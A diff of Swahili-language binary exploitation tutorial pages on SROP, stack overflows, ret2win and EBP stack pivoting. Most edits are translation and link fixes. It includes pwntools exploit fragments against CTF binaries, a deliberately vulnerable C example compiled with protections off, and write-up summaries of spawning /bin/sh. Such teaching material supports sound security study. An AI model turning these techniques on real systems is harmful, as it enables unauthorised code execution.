Sehemu ya kuvutia ni jinsi **`sigreturn`** inavyorejesha hali ya programu: inafanya hivyo kwa kuhifadhi **maadili yote ya register za CPU kwenye stack.** Wakati ishara haitazuiwi tena, **`sigreturn` inatoa maadili haya kutoka kwenye stack**, kwa ufanisi ikirekebisha register za CPU katika hali yao kabla ya ishara kushughulikiwa. Hii inajumuisha register ya pointer ya stack (RSP), ambayo inaelekeza kwenye kilele cha sasa cha stack.
 | 
			
		||||
Sehemu ya kuvutia ni jinsi **`sigreturn`** inavyorejesha hali ya programu: inafanya hivyo kwa kuhifadhi **maadili yote ya register za CPU kwenye stack.** Wakati ishara haizuiwi tena, **`sigreturn` inatoa maadili haya kutoka kwenye stack**, kwa ufanisi ikirekebisha register za CPU katika hali yao kabla ya ishara kushughulikiwa. Hii inajumuisha register ya pointer ya stack (RSP), ambayo inaelekeza kwenye kilele cha sasa cha stack.
 | 
			
		||||
 | 
			
		||||
> [!CAUTION]
 | 
			
		||||
> Kuita syscall **`sigreturn`** kutoka kwenye mnyororo wa ROP na **kuongeza maadili ya register** tunayotaka iingize kwenye **stack** inawezekana **kudhibiti** maadili yote ya register na hivyo **kuita** kwa mfano syscall `execve` na `/bin/sh`.
 | 
			
		||||
> Kuita syscall **`sigreturn`** kutoka kwenye mnyororo wa ROP na **kuongeza maadili ya register** tunayotaka iandike kwenye **stack** inawezekana **kudhibiti** maadili yote ya register na hivyo **kuita** kwa mfano syscall `execve` na `/bin/sh`.
 | 
			
		||||
 | 
			
		||||
Kumbuka jinsi hii ingekuwa **aina ya Ret2syscall** ambayo inafanya iwe rahisi zaidi kudhibiti parameta za kuita Ret2syscalls nyingine:
 | 
			
		||||
Kumbuka jinsi hii ingekuwa **aina ya Ret2syscall** ambayo inafanya iwe rahisi kudhibiti vigezo ili kuita Ret2syscalls nyingine:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../rop-syscall-execv/
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
Ikiwa unavutiwa hii ni **muundo wa sigcontext** ulihifadhiwa kwenye stack ili baadaye kurejesha maadili (mchoro kutoka [**hapa**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
 | 
			
		||||
Ikiwa unavutiwa, hii ni **muundo wa sigcontext** unaohifadhiwa kwenye stack ili baadaye kurejesha maadili (mchoro kutoka [**hapa**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
 | 
			
		||||
```
 | 
			
		||||
+--------------------+--------------------+
 | 
			
		||||
| rt_sigeturn()      | uc_flags           |
 | 
			
		||||
@ -90,7 +90,7 @@ payload += bytes(frame)
 | 
			
		||||
p.sendline(payload)
 | 
			
		||||
p.interactive()
 | 
			
		||||
```
 | 
			
		||||
Angalia pia [**exploiti kutoka hapa**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) ambapo binary tayari ilikuwa ikitumia `sigreturn` na kwa hivyo si lazima kujenga hiyo na **ROP**:
 | 
			
		||||
Angalia pia [**exploit kutoka hapa**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) ambapo binary tayari ilikuwa ikitumia `sigreturn` na kwa hivyo si lazima kujenga hiyo na **ROP**:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -128,11 +128,11 @@ target.interactive()
 | 
			
		||||
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
 | 
			
		||||
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
 | 
			
		||||
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
 | 
			
		||||
- Assembly binary inayoruhusu **kuandika kwenye stack** na kisha inaita syscall ya **`sigreturn`**. Inawezekana kuandika kwenye stack [**ret2syscall**](../rop-syscall-execv/) kupitia muundo wa **sigreturn** na kusoma bendera ambayo iko ndani ya kumbukumbu ya binary.
 | 
			
		||||
- Assembly binary inayoruhusu **kuandika kwenye stack** na kisha inaita syscall ya **`sigreturn`**. Inawezekana kuandika kwenye stack [**ret2syscall**](../rop-syscall-execv/index.html) kupitia muundo wa **sigreturn** na kusoma bendera ambayo iko ndani ya kumbukumbu ya binary.
 | 
			
		||||
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
 | 
			
		||||
- Assembly binary inayoruhusu **kuandika kwenye stack** na kisha inaita syscall ya **`sigreturn`**. Inawezekana kuandika kwenye stack [**ret2syscall**](../rop-syscall-execv/) kupitia muundo wa **sigreturn** (binary ina mfuatano wa `/bin/sh`).
 | 
			
		||||
- Assembly binary inayoruhusu **kuandika kwenye stack** na kisha inaita syscall ya **`sigreturn`**. Inawezekana kuandika kwenye stack [**ret2syscall**](../rop-syscall-execv/index.html) kupitia muundo wa **sigreturn** (binary ina mfuatano wa `/bin/sh`).
 | 
			
		||||
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
 | 
			
		||||
- 64 bits, hakuna relro, hakuna canary, nx, hakuna pie. Ujanja rahisi wa buffer overflow ukitumia kazi ya `gets` kwa kukosa gadgets inayofanya [**ret2syscall**](../rop-syscall-execv/). Mnyororo wa ROP unaandika `/bin/sh` kwenye `.bss` kwa kuita gets tena, unatumia kazi ya **`alarm`** kuweka eax kuwa `0xf` ili kuita **SROP** na kutekeleza shell.
 | 
			
		||||
- 64 bits, hakuna relro, hakuna canary, nx, hakuna pie. Uvunjaji rahisi wa buffer ukitumia kazi ya `gets` na ukosefu wa gadgets zinazofanya [**ret2syscall**](../rop-syscall-execv/index.html). Mnyororo wa ROP unaandika `/bin/sh` kwenye `.bss` kwa kuita gets tena, inatumia kazi ya **`alarm`** kuweka eax kuwa `0xf` ili kuita **SROP** na kutekeleza shell.
 | 
			
		||||
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
 | 
			
		||||
- Programu ya assembly ya 64 bits, hakuna relro, hakuna canary, nx, hakuna pie. Mchakato unaruhusu kuandika kwenye stack, kudhibiti register kadhaa, na kuita syscall kisha inaita `exit`. Syscall iliyochaguliwa ni `sigreturn` ambayo itapanga register na kuhamasisha `eip` ili kuita amri ya syscall ya awali na kuendesha `memprotect` kuweka nafasi ya binary kuwa `rwx` na kuweka ESP katika nafasi ya binary. Kufuatia mchakato, programu itaita kusoma ndani ya ESP tena, lakini katika kesi hii ESP itakuwa ikielekeza kwenye amri inayofuata hivyo kupitisha shellcode kutaiandika kama amri inayofuata na kuitekeleza.
 | 
			
		||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
 | 
			
		||||
 | 
			
		||||
@ -4,13 +4,13 @@
 | 
			
		||||
 | 
			
		||||
## What is a Stack Overflow
 | 
			
		||||
 | 
			
		||||
A **stack overflow** ni udhaifu unaotokea wakati programu inapoandika data zaidi kwenye stack kuliko ilivyopewa kushikilia. Data hii ya ziada it **andika nafasi ya kumbukumbu iliyo karibu**, ikisababisha uharibifu wa data halali, kuingiliwa kwa mtiririko wa udhibiti, na kwa uwezekano wa kutekeleza msimbo mbaya. Tatizo hili mara nyingi linatokea kutokana na matumizi ya kazi zisizo salama ambazo hazifanyi ukaguzi wa mipaka kwenye ingizo.
 | 
			
		||||
A **stack overflow** ni udhaifu unaotokea wakati programu inapoandika data zaidi kwenye stack kuliko ilivyopewa kushikilia. Data hii ya ziada it **andika nafasi ya kumbukumbu iliyo karibu**, ikisababisha uharibifu wa data halali, kuingiliwa kwa mtiririko wa udhibiti, na kwa uwezekano wa kutekelezwa kwa msimbo mbaya. Tatizo hili mara nyingi linatokea kutokana na matumizi ya kazi zisizo salama ambazo hazifanyi ukaguzi wa mipaka kwenye ingizo.
 | 
			
		||||
 | 
			
		||||
Tatizo kuu la kuandika tena ni kwamba **pointer ya maagizo iliyohifadhiwa (EIP/RIP)** na **pointer ya msingi iliyohifadhiwa (EBP/RBP)** za kurudi kwenye kazi ya awali zime **hifadhiwa kwenye stack**. Hivyo, mshambuliaji ataweza kuandika tena hizo na **kudhibiti mtiririko wa utekelezaji wa programu**.
 | 
			
		||||
 | 
			
		||||
Udhaifu huu kawaida hutokea kwa sababu kazi **inakopi ndani ya stack bytes zaidi kuliko kiasi kilichotengwa kwa ajili yake**, hivyo kuwa na uwezo wa kuandika tena sehemu nyingine za stack.
 | 
			
		||||
 | 
			
		||||
Baadhi ya kazi za kawaida zinazoweza kuwa na udhaifu huu ni: **`strcpy`, `strcat`, `sprintf`, `gets`**... Pia, kazi kama **`fgets`**, **`read` & `memcpy`** ambazo zinachukua **kiwango cha urefu**, zinaweza kutumika kwa njia hatarishi ikiwa urefu ulioainishwa ni mkubwa kuliko ule uliotengwa.
 | 
			
		||||
Baadhi ya kazi za kawaida zinazoweza kuwa na udhaifu huu ni: **`strcpy`, `strcat`, `sprintf`, `gets`**... Pia, kazi kama **`fgets`**, **`read` & `memcpy`** ambazo zinachukua **kigezo cha urefu**, zinaweza kutumika kwa njia hatarishi ikiwa urefu ulioainishwa ni mkubwa kuliko ule uliotengwa.
 | 
			
		||||
 | 
			
		||||
Kwa mfano, kazi zifuatazo zinaweza kuwa na udhaifu:
 | 
			
		||||
```c
 | 
			
		||||
@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies
 | 
			
		||||
printf("You entered: %s\n", buffer);
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
### Kupata Mipangilio ya Stack Overflows
 | 
			
		||||
### Kutafuta ofseti za Stack Overflows
 | 
			
		||||
 | 
			
		||||
Njia ya kawaida zaidi ya kupata stack overflows ni kutoa ingizo kubwa la `A`s (kwa mfano `python3 -c 'print("A"*1000)'`) na kutarajia `Segmentation Fault` ikionyesha kwamba **anwani `0x41414141` ilijaribu kufikiwa**.
 | 
			
		||||
Njia ya kawaida zaidi ya kutafuta stack overflows ni kutoa ingizo kubwa la `A`s (kwa mfano `python3 -c 'print("A"*1000)'`) na kutarajia `Segmentation Fault` ikionyesha kwamba **anwani `0x41414141` ilijaribu kufikiwa**.
 | 
			
		||||
 | 
			
		||||
Zaidi ya hayo, mara tu unapogundua kwamba kuna udhaifu wa Stack Overflow utahitaji kupata mipangilio hadi iwezekane **kufuta anwani ya kurudi**, kwa hili mara nyingi hutumiwa **De Bruijn sequence.** Ambayo kwa alfabeti iliyotolewa ya ukubwa _k_ na subsequences za urefu _n_ ni **mfuatano wa mzunguko ambapo kila subsequence inayowezekana ya urefu \_n**\_\*\* inaonekana mara moja tu\*\* kama subsequence iliyo karibu.
 | 
			
		||||
Zaidi ya hayo, mara tu unapogundua kwamba kuna udhaifu wa Stack Overflow utahitaji kutafuta ofseti hadi iwezekane **kufuta anwani ya kurudi**, kwa hili mara nyingi hutumiwa **De Bruijn sequence.** Ambayo kwa alfabeti iliyotolewa ya ukubwa _k_ na subsequences za urefu _n_ ni **mfuatano wa mzunguko ambapo kila subsequence inayowezekana ya urefu \_n**\_\*\* inaonekana mara moja tu\*\* kama subsequence iliyo karibu.
 | 
			
		||||
 | 
			
		||||
Kwa njia hii, badala ya kuhitaji kubaini ni mipangilio ipi inahitajika kudhibiti EIP kwa mkono, inawezekana kutumia kama padding moja ya hizi sequences na kisha kupata mipangilio ya bytes ambazo zilimaliza kufuta hiyo. 
 | 
			
		||||
Kwa njia hii, badala ya kuhitaji kubaini ni ofseti ipi inahitajika kudhibiti EIP kwa mkono, inawezekana kutumia kama padding moja ya hizi sequences na kisha kutafuta ofseti ya bytes ambazo zilimaliza kufuta hiyo.
 | 
			
		||||
 | 
			
		||||
Inawezekana kutumia **pwntools** kwa hili:
 | 
			
		||||
```python
 | 
			
		||||
@ -51,13 +51,13 @@ pattern search $rsp #Search the offset given the content of $rsp
 | 
			
		||||
## Kutumia Stack Overflows
 | 
			
		||||
 | 
			
		||||
Wakati wa overflow (ikiwa saizi ya overflow ni kubwa vya kutosha) utaweza **kuandika upya** thamani za mabadiliko ya ndani ya stack hadi kufikia **EBP/RBP na EIP/RIP (au hata zaidi)**.\
 | 
			
		||||
Njia ya kawaida zaidi ya kutumia aina hii ya udhaifu ni kwa **kubadilisha anwani ya kurudi** ili wakati kazi inamalizika **mchakato wa udhibiti utaelekezwa popote mtumiaji alivyotaja** katika kiashiria hiki.
 | 
			
		||||
Njia ya kawaida zaidi ya kutumia aina hii ya udhaifu ni kwa **kubadilisha anwani ya kurudi** ili wakati kazi inamalizika **mchakato wa udhibiti utaelekezwa popote mtumiaji alivyobainisha** katika kiashiria hiki.
 | 
			
		||||
 | 
			
		||||
Hata hivyo, katika hali nyingine labda tu **kuandika upya baadhi ya thamani za mabadiliko katika stack** kunaweza kuwa ya kutosha kwa matumizi (kama katika changamoto rahisi za CTF).
 | 
			
		||||
 | 
			
		||||
### Ret2win
 | 
			
		||||
 | 
			
		||||
Katika aina hii ya changamoto za CTF, kuna **kazi** **ndani** ya binary ambayo **haitaitwa kamwe** na ambayo **unahitaji kuitwa ili kushinda**. Kwa ajili ya changamoto hizi unahitaji tu kupata **offset ya kuandika upya anwani ya kurudi** na **kupata anwani ya kazi** ya kuita (kawaida [**ASLR**](../common-binary-protections-and-bypasses/aslr/) itakuwa imezimwa) ili wakati kazi iliyo hatarini inarudi, kazi iliyofichwa itaitwa:
 | 
			
		||||
Katika aina hii ya changamoto za CTF, kuna **kazi** **ndani** ya binary ambayo **haitaitwa kamwe** na ambayo **unahitaji kuitwa ili kushinda**. Kwa ajili ya changamoto hizi unahitaji tu kupata **offset ya kuandika upya anwani ya kurudi** na **kupata anwani ya kazi** ya kuitwa (kawaida [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) itakuwa imezimwa) ili wakati kazi iliyo hatarini inarudi, kazi iliyofichwa itaitwa:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
ret2win/
 | 
			
		||||
@ -73,7 +73,7 @@ stack-shellcode/
 | 
			
		||||
 | 
			
		||||
### ROP & Ret2... mbinu
 | 
			
		||||
 | 
			
		||||
Mbinu hii ni muundo wa msingi wa kupita ulinzi mkuu wa mbinu iliyopita: **No executable stack (NX)**. Na inaruhusu kutekeleza mbinu kadhaa nyingine (ret2lib, ret2syscall...) ambazo zitamaliza kwa kutekeleza amri za kiholela kwa kutumia maagizo yaliyopo katika binary:
 | 
			
		||||
Mbinu hii ni muundo wa msingi wa kupita ulinzi mkuu wa mbinu ya awali: **No executable stack (NX)**. Na inaruhusu kutekeleza mbinu kadhaa nyingine (ret2lib, ret2syscall...) ambazo zitamaliza kwa kutekeleza amri za kiholela kwa kutumia maagizo yaliyopo katika binary:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../rop-return-oriented-programing/
 | 
			
		||||
@ -89,7 +89,7 @@ Overflow si kila wakati itakuwa katika stack, inaweza pia kuwa katika **heap** k
 | 
			
		||||
 | 
			
		||||
## Aina za ulinzi
 | 
			
		||||
 | 
			
		||||
Kuna ulinzi kadhaa zinazojaribu kuzuia matumizi ya udhaifu, angalia katika:
 | 
			
		||||
Kuna ulinzi kadhaa zinazojaribu kuzuia matumizi ya udhaifu, angalia hizo katika:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../common-binary-protections-and-bypasses/
 | 
			
		||||
 | 
			
		||||
@ -2,13 +2,13 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## Taarifa za Msingi
 | 
			
		||||
## Basic Information
 | 
			
		||||
 | 
			
		||||
**Ret2win** changamoto ni aina maarufu katika mashindano ya **Capture The Flag (CTF)**, hasa katika kazi zinazohusisha **binary exploitation**. Lengo ni kutumia udhaifu katika binary iliyotolewa ili kutekeleza kazi maalum, isiyokuwa na mwito ndani ya binary, mara nyingi inayoitwa kitu kama `win`, `flag`, n.k. Kazi hii, inapotekelezwa, kawaida huprinti bendera au ujumbe wa mafanikio. Changamoto hiyo kwa kawaida inahusisha kuandika upya **anwani ya kurudi** kwenye stack ili kuelekeza mtiririko wa utekelezaji kwenye kazi inayotakiwa. Hapa kuna maelezo ya kina zaidi na mifano:
 | 
			
		||||
**Ret2win** changamoto ni aina maarufu katika mashindano ya **Capture The Flag (CTF)**, hasa katika kazi zinazohusisha **binary exploitation**. Lengo ni kutumia udhaifu katika binary iliyotolewa ili kutekeleza kazi maalum, isiyokuwa na mwito ndani ya binary, mara nyingi ikijulikana kama `win`, `flag`, n.k. Kazi hii, inapotekelezwa, kawaida huprinti bendera au ujumbe wa mafanikio. Changamoto hiyo kwa kawaida inahusisha kuandika upya **anwani ya kurudi** kwenye stack ili kuelekeza mtiririko wa utekelezaji kwenye kazi inayotakiwa. Hapa kuna maelezo ya kina zaidi na mifano:
 | 
			
		||||
 | 
			
		||||
### Mfano wa C
 | 
			
		||||
### C Example
 | 
			
		||||
 | 
			
		||||
Fikiria programu rahisi ya C yenye udhaifu na kazi ya `win` ambayo tunakusudia kuita:
 | 
			
		||||
Consider a simple C program with a vulnerability and a `win` function that we intend to call:
 | 
			
		||||
```c
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
#include <string.h>
 | 
			
		||||
@ -37,7 +37,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 | 
			
		||||
- `-no-pie`: Zima Position Independent Executable ili kuhakikisha kwamba anwani ya kazi ya `win` haibadiliki.
 | 
			
		||||
- `-o vulnerable`: Patia faili ya matokeo jina `vulnerable`.
 | 
			
		||||
 | 
			
		||||
### Python Exploit kutumia Pwntools
 | 
			
		||||
### Python Exploit using Pwntools
 | 
			
		||||
 | 
			
		||||
Kwa exploit, tutatumia **pwntools**, mfumo wenye nguvu wa CTF wa kuandika exploits. Skripti ya exploit itaunda payload ili kujaa buffer na kuandika anwani ya kurudi kwa anwani ya kazi ya `win`.
 | 
			
		||||
```python
 | 
			
		||||
@ -63,14 +63,14 @@ Ili kupata anwani ya kazi ya `win`, unaweza kutumia **gdb**, **objdump**, au cho
 | 
			
		||||
```sh
 | 
			
		||||
objdump -d vulnerable | grep win
 | 
			
		||||
```
 | 
			
		||||
Amri hii itaonyesha muundo wa `win` function, ikiwa ni pamoja na anwani yake ya kuanzia. 
 | 
			
		||||
Amri hii itaonyesha mkusanyiko wa kazi ya `win`, ikiwa ni pamoja na anwani yake ya kuanzia. 
 | 
			
		||||
 | 
			
		||||
Python script inatuma ujumbe ulioandaliwa kwa uangalifu ambao, unaposhughulikiwa na `vulnerable_function`, unavunja buffer na kuandika upya anwani ya kurudi kwenye stack kwa anwani ya `win`. Wakati `vulnerable_function` inarudi, badala ya kurudi kwa `main` au kutoka, inaruka kwenda `win`, na ujumbe unachapishwa.
 | 
			
		||||
Script ya Python inatuma ujumbe ulioandaliwa kwa uangalifu ambao, unaposhughulikiwa na `vulnerable_function`, unavunja buffer na kuandika upya anwani ya kurudi kwenye stack kwa anwani ya `win`. Wakati `vulnerable_function` inarudi, badala ya kurudi kwa `main` au kutoka, inaruka hadi `win`, na ujumbe unachapishwa.
 | 
			
		||||
 | 
			
		||||
## Ulinzi
 | 
			
		||||
 | 
			
		||||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **inapaswa kuzuiliwa** ili anwani iwe ya kuaminika katika utekelezaji tofauti au anwani ambapo kazi itahifadhiwa haitakuwa kila wakati sawa na unahitaji kuwa na uvujaji ili kubaini wapi kazi ya win imepakiwa. Katika baadhi ya matukio, wakati kazi inayosababisha overflow ni `read` au sawa, unaweza kufanya **Partial Overwrite** ya byte 1 au 2 kubadilisha anwani ya kurudi kuwa kazi ya win. Kwa sababu ya jinsi ASLR inavyofanya kazi, nibble tatu za mwisho za hex hazijachanganywa, hivyo kuna **1/16 nafasi** (1 nibble) ya kupata anwani sahihi ya kurudi.
 | 
			
		||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) pia inapaswa kuzuiliwa au anwani ya kurudi ya EIP iliyovunjika haitafuatiwa kamwe.
 | 
			
		||||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **inapaswa kuzuiliwa** ili anwani iwe ya kuaminika katika utekelezaji tofauti au anwani ambapo kazi itahifadhiwa haitakuwa kila wakati sawa na unahitaji uvujaji fulani ili kubaini wapi kazi ya win imepakiwa. Katika baadhi ya matukio, wakati kazi inayosababisha overflow ni `read` au sawa, unaweza kufanya **Partial Overwrite** ya byte 1 au 2 kubadilisha anwani ya kurudi kuwa kazi ya win. Kwa sababu ya jinsi ASLR inavyofanya kazi, nibble tatu za mwisho za hex hazijachanganywa, hivyo kuna **1/16 nafasi** (1 nibble) ya kupata anwani sahihi ya kurudi.
 | 
			
		||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) pia zinapaswa kuzuiliwa au anwani ya kurudi ya EIP iliyovunjika haitafuatiwa kamwe.
 | 
			
		||||
 | 
			
		||||
## Mifano Mingine & Marejeleo
 | 
			
		||||
 | 
			
		||||
@ -90,7 +90,7 @@ Python script inatuma ujumbe ulioandaliwa kwa uangalifu ambao, unaposhughulikiwa
 | 
			
		||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
 | 
			
		||||
- 32 bit, nx, hakuna kingine, partial overwrite ya EIP (1Byte) kuita kazi ya win
 | 
			
		||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
 | 
			
		||||
- Programu inathibitisha tu byte ya mwisho ya nambari ili kuangalia ukubwa wa ingizo, kwa hivyo inawezekana kuongeza ukubwa wowote mradi byte ya mwisho iko ndani ya upeo unaoruhusiwa. Kisha, ingizo linaunda overflow ya buffer inayotumiwa na ret2win.
 | 
			
		||||
- Programu inathibitisha tu byte ya mwisho ya nambari ili kuangalia ukubwa wa ingizo, kwa hivyo inawezekana kuongeza saizi yoyote mradi byte ya mwisho iko ndani ya upeo unaoruhusiwa. Kisha, ingizo linaunda overflow ya buffer inayotumiwa na ret2win.
 | 
			
		||||
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
 | 
			
		||||
- 64 bit, relro, hakuna canary, nx, pie. Partial overwrite kuita kazi ya win (ret2win)
 | 
			
		||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
 | 
			
		||||
 | 
			
		||||
@ -12,16 +12,16 @@ mov       ebp, esp
 | 
			
		||||
pop       ebp
 | 
			
		||||
ret
 | 
			
		||||
```
 | 
			
		||||
Na kama **EBP iko kwenye stack** kabla ya EIP, inawezekana kuidhibiti kwa kudhibiti stack.
 | 
			
		||||
Na kama **EBP iko kwenye stack** kabla ya EIP, inawezekana kuikontrol kwa kudhibiti stack.
 | 
			
		||||
 | 
			
		||||
### EBP2Ret
 | 
			
		||||
 | 
			
		||||
Teknolojia hii ni muhimu hasa unapoweza **kubadilisha register ya EBP lakini huna njia ya moja kwa moja ya kubadilisha register ya EIP**. Inatumia tabia ya kazi wakati zinamaliza kutekeleza.
 | 
			
		||||
Tekniki hii ni muhimu hasa unapoweza **kubadilisha register ya EBP lakini huna njia ya moja kwa moja ya kubadilisha register ya EIP**. Inatumia tabia ya kazi wakati zinamaliza kutekeleza.
 | 
			
		||||
 | 
			
		||||
Ikiwa, wakati wa utekelezaji wa `fvuln`, unafanikiwa kuingiza **EBP bandia** kwenye stack inayotaja eneo katika kumbukumbu ambapo anwani ya shellcode yako iko (plus 4 bytes kuzingatia operesheni ya `pop`), unaweza kudhibiti kwa njia isiyo ya moja kwa moja EIP. Wakati `fvuln` inarudi, ESP inawekwa kwenye eneo hili lililotengenezwa, na operesheni inayofuata ya `pop` inapunguza ESP kwa 4, **ikiwezesha kuashiria anwani iliyoifadhiwa na mshambuliaji humo.**\
 | 
			
		||||
Ikiwa, wakati wa utekelezaji wa `fvuln`, unafanikiwa kuingiza **EBP bandia** kwenye stack inayotaja eneo katika kumbukumbu ambapo anwani ya shellcode yako iko (plus bytes 4 ili kuzingatia operesheni ya `pop`), unaweza kudhibiti kwa njia isiyo ya moja kwa moja EIP. Wakati `fvuln` inarudi, ESP inawekwa kwenye eneo hili lililotengenezwa, na operesheni inayofuata ya `pop` inapunguza ESP kwa 4, **ikiifanya iweke kwenye anwani iliyohifadhiwa na mshambuliaji humo.**\
 | 
			
		||||
Kumbuka jinsi unavyohitaji **kujua anwani 2**: Ile ambayo ESP itakwenda, ambapo utahitaji kuandika anwani inayotajwa na ESP.
 | 
			
		||||
 | 
			
		||||
#### Ujenzi wa Ulaghai
 | 
			
		||||
#### Ujenzi wa Exploit
 | 
			
		||||
 | 
			
		||||
Kwanza unahitaji kujua **anwani ambapo unaweza kuandika data / anwani zisizo na mipaka**. ESP itakuwa inatazama hapa na **kufanya `ret` ya kwanza**.
 | 
			
		||||
 | 
			
		||||
@ -30,33 +30,33 @@ Kisha, unahitaji kujua anwani inayotumiwa na `ret` ambayo itafanya **kodi isiyo
 | 
			
		||||
- Anwani halali ya [**ONE_GADGET**](https://github.com/david942j/one_gadget).
 | 
			
		||||
- Anwani ya **`system()`** ikifuatiwa na **bytes 4 za takataka** na anwani ya `"/bin/sh"` (x86 bits).
 | 
			
		||||
- Anwani ya **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ikifuatiwa na **shellcode** ya kutekeleza.
 | 
			
		||||
- Mnyororo fulani wa [**ROP**](../rop-return-oriented-programing/)
 | 
			
		||||
- Mnyororo fulani wa [**ROP**](../rop-return-oriented-programing/index.html).
 | 
			
		||||
 | 
			
		||||
Kumbuka kwamba kabla ya anwani yoyote kati ya hizi katika sehemu iliyo na udhibiti wa kumbukumbu, lazima kuwe na **bytes 4** kwa sababu ya sehemu ya **`pop`** ya amri ya `leave`. Itakuwa inawezekana kutumia hizi 4B kuweka **EBP bandia ya pili** na kuendelea kudhibiti utekelezaji.
 | 
			
		||||
 | 
			
		||||
#### Ulaghai wa Off-By-One
 | 
			
		||||
#### Off-By-One Exploit
 | 
			
		||||
 | 
			
		||||
Kuna toleo maalum la teknolojia hii linalojulikana kama "Off-By-One Exploit". Inatumika unapoweza **kubadilisha byte ya chini kabisa ya EBP tu**. Katika hali kama hiyo, eneo la kumbukumbu linalohifadhi anwani ya kuruka kwa **`ret`** lazima liwe na bytes tatu za kwanza zinazoshiriki na EBP, kuruhusu udhibiti wa kufanana na hali zilizozuiliwa zaidi.\
 | 
			
		||||
Kuna toleo maalum la tekniki hii linalojulikana kama "Off-By-One Exploit". Inatumika unapoweza **kubadilisha tu byte ya chini zaidi ya EBP**. Katika hali kama hiyo, eneo la kumbukumbu linalohifadhi anwani ya kuruka na **`ret`** lazima liwe na bytes tatu za kwanza zinazoshiriki na EBP, kuruhusu udhibiti wa kufanana na hali zilizozuiliwa zaidi.\
 | 
			
		||||
Kawaida inabadilishwa byte 0x00 ili kuruka mbali iwezekanavyo.
 | 
			
		||||
 | 
			
		||||
Pia, ni kawaida kutumia RET sled kwenye stack na kuweka mnyororo halisi wa ROP mwishoni ili kuifanya iwezekanavyo zaidi kwamba ESP mpya inaelekeza ndani ya RET SLED na mnyororo wa mwisho wa ROP unatekelezwa.
 | 
			
		||||
Pia, ni kawaida kutumia RET sled kwenye stack na kuweka mnyororo halisi wa ROP mwishoni ili kuongeza uwezekano kwamba ESP mpya inatazama ndani ya RET SLED na mnyororo wa mwisho wa ROP unatekelezwa.
 | 
			
		||||
 | 
			
		||||
### **EBP Chaining**
 | 
			
		||||
 | 
			
		||||
Kwa hivyo, kuweka anwani iliyo na udhibiti katika kiingilio cha `EBP` cha stack na anwani ya `leave; ret` katika `EIP`, inawezekana **kuhamasisha `ESP` kwa anwani ya `EBP` iliyo na udhibiti kutoka kwenye stack**.
 | 
			
		||||
 | 
			
		||||
Sasa, **`ESP`** inadhibitiwa ikielekeza kwenye anwani inayotakiwa na amri inayofuata ya kutekeleza ni `RET`. Ili kutumia hii, inawezekana kuweka katika sehemu iliyo na udhibiti ya ESP hii:
 | 
			
		||||
Sasa, **`ESP`** inakontroliwa ikielekea kwenye anwani inayotakiwa na amri inayofuata ya kutekeleza ni `RET`. Ili kutumia hii, inawezekana kuweka katika sehemu iliyo na udhibiti ya ESP hii:
 | 
			
		||||
 | 
			
		||||
- **`&(next fake EBP)`** -> Pakia EBP mpya kwa sababu ya `pop ebp` kutoka kwa amri ya `leave`
 | 
			
		||||
- **`system()`** -> Inaitwa na `ret`
 | 
			
		||||
- **`&(leave;ret)`** -> Inaitwa baada ya mfumo kumaliza, itahamisha ESP kwa EBP bandia na kuanza tena
 | 
			
		||||
- **`&("/bin/sh")`**-> Param kwa `system`
 | 
			
		||||
- **`&(next fake EBP)`** -> Pakia EBP mpya kwa sababu ya `pop ebp` kutoka kwenye amri ya `leave`.
 | 
			
		||||
